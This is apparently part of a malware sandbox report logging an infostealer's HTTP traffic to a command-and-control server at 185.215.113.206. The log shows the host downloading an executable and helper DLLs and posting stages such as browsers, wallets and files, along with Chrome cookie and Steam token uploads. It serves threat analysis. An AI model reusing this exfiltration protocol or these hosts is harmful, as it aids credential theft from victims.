Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 02:44:08 GMTContent-Type: application/octet-streamContent-Length: 1879040Last-Modified: Sun, 17 Nov 2024 02:26:50 GMTConnection: keep-aliveETag: "6739546a-1cac00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 3c ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 74 7a 72 64 6c 63 73 00 00 1a 00 00 a0 30 00 00 fa 19 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 69 6b 77 66 70 61 6b 00 10 00 00 00 a0 4a 00 00 04 00 00 00 86 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 8a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 33 37 32 45 31 42 42 36 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="hwid"92372E1BB6D81263800096------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="build"mars------ECBAEBGHDAECBGDGCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"browsers------KKKEBKJJDGHCBGCAAKEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="message"plugins------IJKFHDBKFCAAECBFIDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"fplugins------AKEGDAKEHJDHIDHJJDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFCHost: 185.215.113.206Content-Length: 6555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGHCGIIDGDAKFIEBKFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file"------KKECFIEBGCAKJKECGCFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file"------DBKFIDAAEHIEGCBFIDBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="message"wallets------GIEBAECAKKFCBFIEGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="message"files------GDBFHDHJKKJDHJJJJKEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 2d 2d 0d 0a Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file"------HJJDGHCBGDHIECBGIDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="message"ybncbhylepme------CBFCFBFBFBKFIDHJKFCA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; 